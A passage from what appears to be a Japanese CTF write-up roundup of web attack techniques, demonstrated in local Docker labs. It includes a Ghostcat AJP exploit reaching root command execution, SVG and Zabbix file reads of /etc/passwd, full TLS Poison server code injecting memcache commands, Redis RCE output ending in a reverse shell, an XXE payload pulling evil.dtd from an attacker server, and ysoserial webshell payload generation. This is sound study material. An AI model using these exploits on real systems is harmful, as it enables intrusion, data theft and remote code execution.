09-Aug-2021 00:24:56.687 INFO [main] org.apache.catalina.startup.Catalina.start Server startup in 434 ms

次にAJPyのリポジトリを取得します。 試しにCVE-2020-1938のPoCであるread_file機能を使用すると、コンテキスト内のWEB-INF/web.xmlを取得できました。

root@kali:/mnt/hgfs/CTF/Writeup/2020/tomcat-ajp# git clone https://github.com/hypn0s/AJPy.git

root@kali:/mnt/hgfs/CTF/Writeup/2020/tomcat-ajp# cd AJPy

root@kali:/mnt/hgfs/CTF/Writeup/2020/tomcat-ajp/AJPy# python3 tomcat.py read_file --webapp=demo /WEB-INF/web.xml localhost
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd"
         version="3.1">
  <servlet>
    <servlet-name>SimpleServlet</servlet-name>
    <servlet-class>demo.SimpleServlet</servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name>SimpleServlet</servlet-name>
    <url-pattern>/SimpleServlet</url-pattern>
  </servlet-mapping>
</web-app>

次に、writeupを参考にして、LFIでcmd.txtをインクルードして実行するexploitコードを準備します。 importしているtomcatは、AJPyのモジュールです。

exploit.py

import sys
from tomcat import Tomcat

tc = Tomcat("localhost", 8009)

shell_path = "cmd.txt"

attributes = [
    {"name": "req_attribute", "value": ("javax.servlet.include.request_uri", "/",)},
    {"name": "req_attribute", "value": ("javax.servlet.include.path_info", shell_path,)},
    {"name": "req_attribute", "value": ("javax.servlet.include.servlet_path", "/",)},
]
hdrs, data = tc.perform_request("/demo/dummy.jsp", attributes=attributes)
output = sys.stdout

for d in data:
    try:
        output.write(d.data.decode('utf8'))
    except UnicodeDecodeError:
        output.write(repr(d.data))

exploitコードを実行するとcmd.txtに記載したJSPコードを実行し、idコマンドが実行されたことを確認できました。

root@kali:/mnt/hgfs/CTF/Writeup/2020/tomcat-ajp/AJPy# python3 exploit.py
Getting resource at ajp13://localhost:8009/demo/dummy.jsp
uid=0(root) gid=0(root) groups=0(root)

ImageMagickにtext属性を使用したSVGファイルを変換させてLFI

ImageMagickに任意のファイルを渡せる場合に、 text属性を使用して任意のファイルパスへの参照を定義したSVGファイルを作成して渡すことで、 生成された画像ファイルにそのファイル内容が画像として埋め込まれ、LFIできる手法です。

以下の記事のShort intermission - reading local filesが参考になります。
https://insert-script.blogspot.com/2020/11/imagemagick-shell-injection-via-pdf.html

実際に試してみましょう。

DockerでImageMagickをインストールしたコンテナを生成します。

Dockerfile

FROM ubuntu:18.04

RUN apt-get update -y \
    && apt-get install -y imagemagick

/etc/passwdファイルを参照するSVGファイルを作成します。

test.svg

<svg width="1000" height="1000" 
xmlns:xlink="http://www.w3.org/1999/xlink">
xmlns="http://www.w3.org/2000/svg">       
<image xlink:href="text:/etc/passwd" height="500" width="500"/>
</svg>

コンテナ内でconvertコマンドを実行します。

root@kali:/mnt/hgfs/CTF/Writeup/2020/imagemagick# docker build . --tag imagemagick:6.9
(snip)

root@kali:/mnt/hgfs/CTF/Writeup/2020/imagemagick# docker run -it --rm -v /mnt/hgfs/CTF/Writeup/2020/imagemagick/:/img --name im6.9 imagemagick:6.9 /bin/bash

root@6c46edbc9d9c:/# cd /img/

root@6c46edbc9d9c:/img# convert -version
Version: ImageMagick 6.9.7-4 Q16 x86_64 20170114 http://www.imagemagick.org
Copyright: © 1999-2017 ImageMagick Studio LLC
License: http://www.imagemagick.org/script/license.php
Features: Cipher DPC Modules OpenMP
Delegates (built-in): bzlib djvu fftw fontconfig freetype jbig jng jpeg lcms lqr ltdl lzma openexr pangocairo png tiff wmf x xml zlib

root@6c46edbc9d9c:/img# convert test.svg passwd.png

生成されたpasswd.pngがこちらです。確かに/etc/passwdの内容が画像として埋め込まれています。

f:id:graneed:20210809111829p:plain

Zabbixの管理画面から監視対象サーバー内の任意のファイルを取得

Zabbixの管理画面にログインできる場合に、Zabbixエージェントがインストールされている監視対象のサーバー内の任意のファイルを取得する手法です。

itemを作成してから、Key項目に以下のような形式でファイルパスを指定すると、ファイルの内容を取得できます。

vfs.file.contents[/etc/passwd]

以下のマニュアルにも記載されています。
https://www.zabbix.com/documentation/current/manual/config/items/itemtypes/zabbix_agent

Directory Traversal

Pythonのos.path.join関数の仕様を利用したディレクトリトラバーサル

Pythonos.path.joinは、パラメータを連結してファイルパスを作成する関数ですが、 第2パラメータ以降に/から始まる絶対パスを指定すると、 それ以前のパラメータが結合されない仕様になっています。

マニュアルにも記載されています。
https://docs.python.org/ja/3/library/os.path.html#os.path.join

よって、ユーザーからの入力パラメータをそのままos.path.joinに渡してファイルパスを生成していると、 ディレクトリトラバーサル脆弱性の発生に繋がる場合があります。

実際に試してみましょう。

>>> import os
>>> os.path.join("aaa", "bbb")
'aaa/bbb'

>>> os.path.join("aaa", "/bbb")
'/bbb' # aaaが結合対象から無くなっている

>>> os.path.join("aaa", "bbb", "/ccc")
'/ccc' # aaaとbbbが結合対象から無くなっている

>>> os.path.join("aaa", "/bbb", "ccc")
'/bbb/ccc' # 以降は結合対象のまま

Server-Side Request Forgery(SSRF)

FTPのPASVモードを使用した任意ポートへのバイナリデータ送信

PHPfile_put_contents関数で、任意のパスに任意のデータを書き込み可能な場合に、 PHPftp://URLラッパーがFTPサーバーへパッシブモードで接続することを利用し、 用意したFTPサーバー側でデータコネクションのポートをターゲットのポートに指定することで、 そのポートに対してデータを送信する手法です。

目的のデータ送信先がHTTPプロトコルやローカルファイルであれば、 直接、file_put_contents関数のパスに指定すればよいのですが、 バイナリデータの送信が必要な場合に利用できます。

hxp CTF 2020のresonatorという問題では、 open_basedirの制限をバイパスするために、 PHP-FPMのTCPソケットのポートに、バイナリデータを送信するために使用していました。

実際に試してみましょう。

理解のために、writeupのコードをそのまま使用するのではなく、ncコマンドで試してみます。 上がクライアント、左下がFTPサーバー、右下がターゲットとなる送信先ポートです。

TLS Poisonによるローカルのmemcacheへデータ登録

Blackhat USA 2020でTLS Poisonという攻撃手法が発表されました。 この手法を使用すると、攻撃者が用意するサーバーに通信を誘導可能、且つその攻撃者のサーバーへの通信が2回発生する場合に、2回目の通信でネットワーク内の別のサーバー(localhost含む)に対して、TLSのセッションID領域を使用して任意のデータを送ることができます。
https://github.com/jmdx/TLS-poison

これには、TLS通信における以下の仕様や挙動を利用します。

  • TLS通信の接続の際、サーバーからクライアントにTLSのセッションIDを払い出すこと
  • 再接続の際に、TLSのハンドシェイク処理を軽減するためにTLSのセッションIDをサーバーに送ること
  • 一部のクライアントは、TLSのセッションIDを送るかどうかを接続先のホストとポートで判断すること
  • 再接続先のサーバーが停止していた場合、Aレコードに登録されている別のIPアドレスに再接続すること

準備するものはこちらです。

hxp CTF 2020のsecurity scannerという問題では、サーバーのローカルでmemcacheが起動されていて、(詳細は省略しますが)RCEを取得するためにmemcacheにデータを登録する必要がありました。 また、外部からgitクライアントの通信先を指定できる機能がありました。 そこで、gitクライアントに攻撃者のTLSサーバーに通信させるよう指定し、この手法を使用することで、ネットワーク内のmemcacheにデータを登録させることができます。

一部簡易化した環境を構築して実際に試してみましょう。

ターゲットのサーバーにmemcacheサーバーを立てます。Dockerを使用します。

root@kali:/mnt/hgfs/CTF/Writeup/2020/TLS-poison# docker run --rm --name memcache -p 11211:11211 memcached

攻撃者のドメインを準備します。 DNSのAレコードを追加し、TLSサーバーのIPアドレス0.0.0.0を登録します。 登録してからdigコマンドで確認すると以下のようになります。

root@kali:/mnt/hgfs/CTF/Writeup/2020/TLS-poison# dig fakegit.REDACTED

; <<>> DiG 9.16.2-Debian <<>> fakegit.REDACTED
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 8356
;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; MBZ: 0x0005, udp: 1232
;; QUESTION SECTION:
;fakegit.REDACTED.           IN      A

;; ANSWER SECTION:
fakegit.REDACTED.    5       IN      A       0.0.0.0
fakegit.REDACTED.    5       IN      A       [TLSサーバーのIPアドレス]

;; Query time: 75 msec
;; SERVER: 192.168.79.2#53(192.168.79.2)
;; WHEN: Tue Aug 03 10:21:24 JST 2021
;; MSG SIZE  rcvd: 80

攻撃者のTLSサーバーを用意します。 hxp CTF 2020のsecurity scannerのwriteupで公開されていたfake_git.pyを改造して、手法の検証に関係ないところを削除して簡易化しています。

fake_git_custom.py

root@ip-172-31-6-71:~/security scanner# cat fake_git_custom.py
import argparse
import base64
import hashlib
import hmac
import re
import socket
import struct
import time
from Crypto.Cipher import AES
from Crypto.PublicKey import RSA
from dataclasses import dataclass
from pathlib import Path


# RFC 5246, section 5
def prf(secret, label, seed, length):
    def hmac_sha256(key, msg):
        return hmac.digest(key, msg, hashlib.sha256)

    seed = label + seed

    result = b''
    cur_a = seed
    while len(result) < length:
        cur_a = hmac_sha256(secret, cur_a)
        result += hmac_sha256(secret, cur_a + seed)
    return result[:length]


def to_ad(seq_num, tls_type, tls_version, tls_len):
    return struct.pack('>QBHH', seq_num, tls_type, tls_version, tls_len)


# Chosen by fair dice roll, guaranteed to be random.
def get_random_bytes(length):
    return b'A' * length


class TLS:
    # in bytes (i.e., this is 4096 bits)
    KEY_LENGTH = 512
    PKCS_PREFIX = b'\x00\x02'

    # TLS 1.2
    VERSION = 0x0303
    # TLS_RSA_WITH_AES_128_GCM_SHA256, because we don't care to support the full DH exchange.
    CIPHER_SUITE = 0x9c

    CHANGE_CIPHER_SPEC_CONTENT_TYPE = 0x14
    ALERT_CONTENT_TYPE = 0x15
    HANDSHAKE_CONTENT_TYPE = 0x16
    DATA_CONTENT_TYPE = 0x17

    FINISHED_HANDSHAKE_TYPE = 0x14

    @dataclass
    class Record:
        content_type: int
        version: int
        data: bytes

    @dataclass
    class HandshakeRecord:
        handshake_type: int
        data: bytes

    @dataclass
    class SessionKeys:
        master_secret: bytes
        client_key: bytes
        server_key: bytes
        client_salt: bytes
        server_salt: bytes

    def __init__(self, socket, priv_key, certs, session_id):
        self.socket = socket
        self.priv_key = priv_key
        self.certs = certs
        # Chosen by a fair dice roll.
        self.server_random = get_random_bytes(32)
        self.session_id = session_id

        self.client_seq_num = 0
        self.server_seq_num = 0
        self.handshake_log = b''

        self.session_keys = None
        self._shake_hands()

    def _read_record(self, expected_type):
        header = self.socket.recv(5)
        content_type, version, length = struct.unpack('>BHH', header)
        data = self.socket.recv(length)
        assert content_type == expected_type, f'Bad content type: got {content_type}, expected {expected_type}'
        return TLS.Record(content_type, version, data)

    def _write_record(self, record):
        payload = struct.pack('>BHH', record.content_type, record.version, len(record.data)) + record.data
        self.socket.send(payload)

    def _read_handshake_record(self, expected_type, decrypt=False):
        record = self._read_record(TLS.HANDSHAKE_CONTENT_TYPE)
        payload = record.data
        if decrypt:
            payload = self._decrypt(payload, TLS.HANDSHAKE_CONTENT_TYPE, record.version)
        self.handshake_log += payload
        header_size = 4
        header, *_ = struct.unpack('>I', payload[:header_size])
        handshake_type = header >> 24
        assert handshake_type == expected_type, f'Bad handshake type: got {handshake_type}, expected {expected_type}'
        length = header & 0xFF_FF_FF
        return TLS.HandshakeRecord(handshake_type, payload[header_size:header_size + length])

    def _write_handshake_record(self, record, encrypt=False):
        header = (record.handshake_type << 24) | len(record.data)
        payload = struct.pack('>I', header) + record.data
        if encrypt:
            payload = self._encrypt(payload, TLS.HANDSHAKE_CONTENT_TYPE)
        self.handshake_log += payload
        self._write_record(TLS.Record(TLS.HANDSHAKE_CONTENT_TYPE, TLS.VERSION, payload))

    def _get_server_hello(self):
        return b''.join([
            struct.pack('>H', TLS.VERSION),
            self.server_random,
            struct.pack('B', len(self.session_id)),
            self.session_id,
            # No compression, no extensions.
            struct.pack('>HBH', TLS.CIPHER_SUITE, 0, 0),
        ])

    def _get_certificate(self):
        def int16_to_int24_bytes(x):
            return b'\x00' + struct.pack('>H', x)

        packed_certs = b''.join([
            int16_to_int24_bytes(len(cert)) + cert
            for cert in self.certs
        ])

        return int16_to_int24_bytes(len(packed_certs)) + packed_certs

    def derive_keys(self, encrypted_premaster_secret, client_random):
        assert len(encrypted_premaster_secret) == TLS.KEY_LENGTH
        encrypted_premaster_secret = int.from_bytes(encrypted_premaster_secret, byteorder='big')
        premaster_secret = pow(encrypted_premaster_secret, self.priv_key.d, self.priv_key.n).to_bytes(TLS.KEY_LENGTH, byteorder='big')

        assert premaster_secret.startswith(TLS.PKCS_PREFIX)
        premaster_secret = premaster_secret[premaster_secret.find(b'\x00', len(TLS.PKCS_PREFIX)) + 1:]
        assert len(premaster_secret) == 48

        master_secret = prf(premaster_secret, b'master secret', client_random + self.server_random, 48)

        enc_key_length, fixed_iv_length = 16, 4
        expanded_key_length = 2 * (enc_key_length + fixed_iv_length)
        key_block = prf(master_secret, b'key expansion', self.server_random + client_random, expanded_key_length)
        return TLS.SessionKeys(
            master_secret=master_secret,
            client_key=key_block[:enc_key_length],
            server_key=key_block[enc_key_length:2 * enc_key_length],
            client_salt=key_block[2 * enc_key_length:2 * enc_key_length + fixed_iv_length],
            server_salt=key_block[2 * enc_key_length + fixed_iv_length:],
        )

    def _get_server_finished(self):
        session_hash = hashlib.sha256(self.handshake_log).digest()
        return prf(self.session_keys.master_secret, b'server finished', session_hash, 12)

    def _encrypt(self, data, tls_type):
        explicit_nonce = get_random_bytes(8)
        cipher = AES.new(self.session_keys.server_key, AES.MODE_GCM, nonce=self.session_keys.server_salt + explicit_nonce)
        cipher.update(to_ad(self.server_seq_num, tls_type, TLS.VERSION, len(data)))
        ciphertext, tag = cipher.encrypt_and_digest(data)
        self.server_seq_num += 1
        return explicit_nonce + ciphertext + tag

    def _decrypt(self, data, tls_type, tls_version):
        cipher = AES.new(self.session_keys.client_key, AES.MODE_GCM, nonce=self.session_keys.client_salt + data[:8])
        ciphertext = data[8:-16]
        tag = data[-16:]
        cipher.update(to_ad(self.client_seq_num, tls_type, tls_version, len(ciphertext)))
        self.client_seq_num += 1
        return cipher.decrypt_and_verify(ciphertext, tag)

    def read(self):
        record = self._read_record(TLS.DATA_CONTENT_TYPE)
        payload = self._decrypt(record.data, TLS.DATA_CONTENT_TYPE, record.version)
        print(f'Got a message of length {len(payload)}')
        return payload

    def write(self, msg):
        payload = self._encrypt(msg, TLS.DATA_CONTENT_TYPE)
        self._write_record(TLS.Record(TLS.DATA_CONTENT_TYPE, TLS.VERSION, payload))
        print(f'Sent a message of length {len(payload)}')

    def _shake_hands(self):
        client_hello = self._read_handshake_record(0x1).data
        client_random = client_hello[2:2 + 32]
        print(f'Got client hello')

        self._write_handshake_record(TLS.HandshakeRecord(0x2, self._get_server_hello()))
        print(f'Sent server hello with session id {self.session_id}')

        self._write_handshake_record(TLS.HandshakeRecord(0xb, self._get_certificate()))
        print(f'Sent {len(self.certs)} certificates')

        self._write_handshake_record(TLS.HandshakeRecord(0xe, b''))
        print(f'Sent server hello done')

        # Skip the redundant premaster secret length.
        encrypted_premaster_secret = self._read_handshake_record(0x10).data[2:]
        print(f'Got a premaster secret')
        self.session_keys = self.derive_keys(encrypted_premaster_secret, client_random)

        self._read_record(TLS.CHANGE_CIPHER_SPEC_CONTENT_TYPE)
        client_finished = self._read_handshake_record(TLS.FINISHED_HANDSHAKE_TYPE, decrypt=True)
        print(f'Got client finished')

        self._write_record(TLS.Record(TLS.CHANGE_CIPHER_SPEC_CONTENT_TYPE, TLS.VERSION, b'\x01'))
        server_finished = TLS.HandshakeRecord(TLS.FINISHED_HANDSHAKE_TYPE, self._get_server_finished())
        self._write_handshake_record(server_finished, encrypt=True)
        print(f'Sent server finished, the connection is ready')


def get_http_response(code, headers, content):
    headers.update({
        'Connection': 'close',
        'Content-Length': str(len(content)),
    })

    return '\r\n'.join([
        f'HTTP/1.1 {code} Whatever',
        '\r\n'.join([
            f'{k}: {v}' for k, v in headers.items()
        ]),
        '',
        content,
    ]).encode()


if __name__ == '__main__':
    p = argparse.ArgumentParser()
    p.add_argument('key')
    p.add_argument('cert')
    p.add_argument('--port', type=int, default=11211)
    args = p.parse_args()

    priv_key = RSA.import_key(Path(args.key).read_text())
    certs = [
        base64.b64decode(''.join(
            cert_line
            for cert_line in cert.splitlines()
            if not cert_line.startswith('-')
        ))
        for cert in Path(args.cert).read_text().split('\n\n')
    ]

    while True:
        server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        server_socket.bind(('0.0.0.0', args.port))
        server_socket.listen(1)

        print('Welcome to FakeGIT')

        should_serve = True
        session_id = b'\r\nset HOGE 0 0 4\r\nFUGA\r\n' # ここにmemcacheにセットしたいデータを登録

        while should_serve:
            client_socket, address = server_socket.accept()
            print(f'Got a connection from {address}')
            tls = TLS(client_socket, priv_key, certs, session_id)

            http_request = tls.read()
            assert session_id, 'Session id should have been set at this point'
            headers = {
            }
            tls.write(get_http_response(200, headers, ''))
            should_serve = False

            client_socket.close()

        server_socket.close()
        print('Laying low for 5 seconds so that the git client doesn\'t reconnect to us')
        time.sleep(5)

秘密鍵ファイルとサーバー証明書ファイルを生成してから、サーバーを起動します。

# 秘密鍵ファイルとサーバー証明書ファイルを生成
root@ip-172-31-6-71:~/security scanner# openssl genrsa 4096 > server.key
Generating RSA private key, 4096 bit long modulus (2 primes)
....................................++++
........................................................++++
e is 65537 (0x010001)

root@ip-172-31-6-71:~/security scanner# openssl req -new -key server.key > server.csr
Can't load /root/.rnd into RNG
140193182073280:error:2406F079:random number generator:RAND_load_file:Cannot open file:../crypto/rand/randfile.c:88:Filename=/root/.rnd
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:
Email Address []:

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:

root@ip-172-31-6-71:~/security scanner# openssl x509 -req -days 3650 -signkey server.key < server.csr > server.crt
Signature ok
subject=C = AU, ST = Some-State, O = Internet Widgits Pty Ltd
Getting Private key

# 起動
root@ip-172-31-6-71:~/security scanner# python3 fake_git_custom.py server.key server.crt
Welcome to FakeGIT

準備が整いましたので、ターゲットのサーバーからgitコマンドを実行して試してみます。

# 自己署名証明書を使用しているため、それを許容する設定
root@kali:/mnt/hgfs/CTF/Writeup/2020/TLS-poison# git config --global http.sslVerify false

root@kali:/mnt/hgfs/CTF/Writeup/2020/TLS-poison# git ls-remote --tags -- https://fakegit.graneed.net:11211

TLSサーバーの実行ログを見てみます。

root@ip-172-31-6-71:~/security scanner# python3 fake_git_custom.py server.key server.crt
Welcome to FakeGIT
Got a connection from ('ターゲットのサーバーのIPアドレス', 38229)
Got client hello
Sent server hello with session id b'\r\nset HOGE 0 0 4\r\nFUGA\r\n'
Sent 1 certificates
Sent server hello done
Got a premaster secret
Got client finished
Sent server finished, the connection is ready
Got a message of length 233
Sent a message of length 87
Laying low for 5 seconds so that the git client doesn't reconnect to us
Welcome to FakeGIT

memcacheを確認すると、TLSのセッションIDにセットしていた、キーHOGE、値FUGAが登録されていました。

php > var_dump($m->get("HOGE"));
string(4) "FUGA"

なお、TLSのセッションIDは32バイトであるため、あまり長いデータは送信できません。

fake_git_custom2.py

(snip)
        session_id = b'\r\nset HOGE 0 0 12\r\n123456789012\r\n' # 合計33バイトであるためエラーになる
(snip)

RedisへSSRFして任意のコマンド実行

昨年のまとめでは、RedisのポートにSSRF可能な場合にサーバー内のファイルが取得できる攻撃手法を紹介しましたが、こちらはRCEまでできる手法です。

以下の記事が参考になります。
https://knqyf263.hatenablog.com/entry/2019/07/16/092907
https://medium.com/@knownsec404team/rce-exploits-of-redis-based-on-master-slave-replication-ef7a664ce1d0

簡単に試すことのできるツールも公開されています。
https://github.com/jas502n/Redis-RCE

実際に試してみましょう。

まずは環境構築です。

Dockerfile

FROM redis:5.0.13-alpine

コンテナのビルドと実行をします。

root@kali:/mnt/hgfs/CTF/Writeup/2020/redis-ssrf# docker build --no-cache -t redis-victim .
Sending build context to Docker daemon  5.177MB
Step 1/1 : FROM redis:5.0.13-alpine
(snip)
Successfully tagged redis-victim:latest

root@kali:/mnt/hgfs/CTF/Writeup/2020/redis-ssrf# docker run --rm -p 6379:6379 --name redis-victim redis-victim
1:C 02 Aug 2021 01:53:25.178 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo
1:C 02 Aug 2021 01:53:25.178 # Redis version=5.0.13, bits=64, commit=00000000, modified=0, pid=1, just started
1:C 02 Aug 2021 01:53:25.178 # Warning: no config file specified, using the default config. In order to specify a config file use redis-server /path/to/redis.conf
1:M 02 Aug 2021 01:53:25.181 * Running mode=standalone, port=6379.
1:M 02 Aug 2021 01:53:25.182 # Server initialized
1:M 02 Aug 2021 01:53:25.182 # WARNING overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.
1:M 02 Aug 2021 01:53:25.182 # WARNING you have Transparent Huge Pages (THP) support enabled in your kernel. This will create latency and memory usage issues with Redis. To fix this issue run the command 'echo never > /sys/kernel/mm/transparent_hugepage/enabled' as root, and add it to your /etc/rc.local in order to retain the setting after a reboot. Redis must be restarted after THP is disabled.
1:M 02 Aug 2021 01:53:25.182 * Ready to accept connections

ツールをgithubから取得します。

root@kali:/mnt/hgfs/CTF/Writeup/2020/redis-ssrf# git clone https://github.com/jas502n/Redis-RCE.git
Cloning into 'Redis-RCE'...
remote: Enumerating objects: 65, done.
remote: Total 65 (delta 0), reused 0 (delta 0), pack-reused 65
Receiving objects: 100% (65/65), 2.32 MiB | 7.47 MiB/s, done.
Resolving deltas: 100% (23/23), done.

root@kali:/mnt/hgfs/CTF/Writeup/2020/redis-ssrf# cd Redis-RCE/

Redic-RCEを実行すると、攻撃対象のRedisサーバーに接続、マスターサーバーの起動、Redisモジュールの配信をして、攻撃対象のサーバーで任意のコマンドを実行できました。

root@kali:/mnt/hgfs/CTF/Writeup/2020/redis-ssrf/Redis-RCE# python redis-rce.py -r localhost -L 172.17.0.1 -f ./exp_lin.so

█▄▄▄▄ ▄███▄   ██▄   ▄█    ▄▄▄▄▄       █▄▄▄▄ ▄█▄    ▄███▄
█  ▄▀ █▀   ▀  █  █  ██   █     ▀▄     █  ▄▀ █▀ ▀▄  █▀   ▀
█▀▀▌  ██▄▄    █   █ ██ ▄  ▀▀▀▀▄       █▀▀▌  █   ▀  ██▄▄
█  █  █▄   ▄▀ █  █  ▐█  ▀▄▄▄▄▀        █  █  █▄  ▄▀ █▄   ▄▀
  █   ▀███▀   ███▀   ▐                  █   ▀███▀  ▀███▀
 ▀                                     ▀


[*] Connecting to  localhost:6379...
[*] Listening on 172.17.0.1:21000
[*] Sending SLAVEOF command to server
[+] Accepted connection from 127.0.0.1:40288
[*] Setting filename
[*] Tring to run payload
[+] Accepted connection from 172.17.0.1:21000
[*] Closing rogue server...
[+] Received backconnect, use exit to exit...
$ id
uid=999(redis) gid=1000(redis) groups=1000(redis),1000(redis)

Unicode文字を用いたCRLFインジェクションによるRequest Splitting

Nodejs v8.12.0以前のバージョンでは、Unicode文字を使用したCRLFインジェクションができたようで、 それを使用して、1つのHTTPリクエストを2つのHTTPリクエストに分割し、SSRFを発生させる手法です。

以下の記事が参考になります。
https://www.rfk.id.au/blog/entry/security-bugs-ssrf-via-request-splitting/

XML External Entity(XXE)

DTDファイルを使用したCDATAブロックの活用による文字制限の回避

XXE攻撃でサーバー内のファイルを窃取したい場合に、 目的のファイル内に&<>などの文字が含まれていると、 XMLデータ内にファイルを挿入後に、XMLとしての構文が崩れてしまって失敗することがあります。

XMLでそのような文字列を取り扱う場合、CDATAブロックを使用できますが、 そうすると今度は&記号がプレーンな文字として扱われてしまい、 目的のファイルをXMLデータ内に挿入する処理が動作せず、目的が達成できません。

そこで、DTDファイルを活用することで、目的のファイルの挿入処理を動作させつつ、 目的したファイルの内容をCDATAブロック内に含めることが可能となります。

リクエストデータ

<!DOCTYPE data [
  <!ENTITY % dtd SYSTEM
  "http://<攻撃者のサーバー>/evil.dtd">
  %dtd;
  %all;
]>
<data>&fileContents;</data>

サーバー内に配備するevil.dtd

<!ENTITY % file SYSTEM "file:///目的のファイル">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">

以下の記事が参考になります
https://dzone.com/articles/xml-external-entity-xxe-limitations

Insecure Deserialization

機能拡張されたysoserialによるWebShellの取得

Javaの安全でないデシリアライゼーションの攻撃に、ysoserialがよく使用されます。
https://github.com/frohoff/ysoserial

ysoserialをforkしてpayloadを追加するなど機能拡張しているリポジトリが公開されています。 特にTomcatにメモリWebShellを設置する機能追加が多く見つかります。 (中国語圏内の記事が多い気がします。)

上記のうち、「TomcatベースのメモリWebshel​​lファイルレス攻撃テクノロジー」のリポジトリのysoserialを使用して、実際に試してみましょう。

まずはターゲットとなる環境とアプリを構築します。

こちらがファイル構成です。 2021年8月時点でcommons-collectionsの最新版は3.2.2でしたが、脆弱性が修正されているため、検証には3.2.1をダウンロードしてくる必要があります。

./
├── Dockerfile
├── src
│   └── demo
│       └── SimpleServlet.java
└── webapps
    └── demo
         └── WEB-INF
            ├── classes
            │   └── demo
            ├── lib
            │   └── commons-collections-3.2.1.jar
            └── web.xml

Dockerfile

FROM tomcat:8-jdk11-adoptopenjdk-hotspot
COPY src/ /src/
COPY webapps/ /usr/local/tomcat/webapps/
RUN javac -cp "/usr/local/tomcat/lib/*" /src/demo/SimpleServlet.java -d /usr/local/tomcat/webapps/demo/WEB-INF/classes/

POSTされたデータをそのままデシリアライズをかけるサーブレットを用意します。

src/demo/SimpleServlet.java

package demo;

import java.io.*;

import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.ServletException;
import javax.servlet.ServletInputStream;

public class SimpleServlet extends HttpServlet {
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        ServletInputStream sis = request.getInputStream();

        ObjectInputStream ois = new ObjectInputStream(sis);
        try {
            ois.readObject();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }
        ois.close();
    }

    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        PrintWriter out = response.getWriter();
        out.println("This is a demo");
    }
}

サーブレットマッピングだけの単純なweb.xmlです。

webapps/demo/WEB-INF/web.xml

<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd"
         version="3.1">
  <servlet>
    <servlet-name>SimpleServlet</servlet-name>
    <servlet-class>demo.SimpleServlet</servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name>SimpleServlet</servlet-name>
    <url-pattern>/SimpleServlet</url-pattern>
  </servlet-mapping>
</web-app>

コンテナをビルドして起動します。

root@kali:/mnt/hgfs/CTF/Writeup/2020/tomcat-deserialize# docker build --no-cache -t tomcat-deserialize-demo .
Sending build context to Docker daemon  1.742MB
Step 1/4 : FROM tomcat:8-jdk11-adoptopenjdk-hotspot
 ---> e13d5dd8fd3c
Step 2/4 : COPY src/ /src/
 ---> f0bb0cf2d0e6
Step 3/4 : COPY demo/ /usr/local/tomcat/webapps/demo/
 ---> f26a56d53147
Step 4/4 : RUN javac -cp "/usr/local/tomcat/lib/*" /src/demo/SimpleServlet.java -d /usr/local/tomcat/webapps/demo/WEB-INF/classes/
 ---> Running in b7d6889514e9
Removing intermediate container b7d6889514e9
 ---> 3a3e9708dff5
Successfully built 3a3e9708dff5
Successfully tagged tomcat-deserialize-demo:latest

root@kali:/mnt/hgfs/CTF/Writeup/2020/tomcat-deserialize# docker run --rm -p 8080:8080 --name tomcat-deserialize-demo tomcat-deserialize-demo
(snip)
07-Aug-2021 04:08:29.442 INFO [main] org.apache.coyote.AbstractProtocol.start Starting ProtocolHandler ["http-nio-8080"]
07-Aug-2021 04:08:29.460 INFO [main] org.apache.catalina.startup.Catalina.start Server startup in 463 ms

次にysoserialのリポジトリを取得してきて、Dockerコンテナ上でビルドします。ただ、そのまま実行するとmavenのビルドでエラーになったため、pom.xmlを一部修正します。

root@kali:/mnt/hgfs/CTF/Writeup/2020/tomcat-deserialize# git clone https://github.com/threedr3am/ysoserial.git
(snip)

root@kali:/mnt/hgfs/CTF/Writeup/2020/tomcat-deserialize# cd ysoserial

root@kali:/mnt/hgfs/CTF/Writeup/2020/tomcat-deserialize/ysoserial# sed -i 's@http://repo.jenkins-ci.org/public/@https://repo.jenkins-ci.org/public/@' pom.xml

root@kali:/mnt/hgfs/CTF/Writeup/2020/tomcat-deserialize/ysoserial# docker build -t ysoserial:threedr3am .
(snip)

ysoserialでpayloadを生成し、順番に送信します。

# payloadを生成
root@kali:/mnt/hgfs/CTF/Writeup/2020/tomcat-deserialize# docker run --rm ysoserial:threedr3am CommonsCollections11ForTomcatEchoInject > echo.payload
root@kali:/mnt/hgfs/CTF/Writeup/2020/tomcat-deserialize# docker run --rm ysoserial:threedr3am CommonsCollections11ForTomcatShellInject > shell.payload

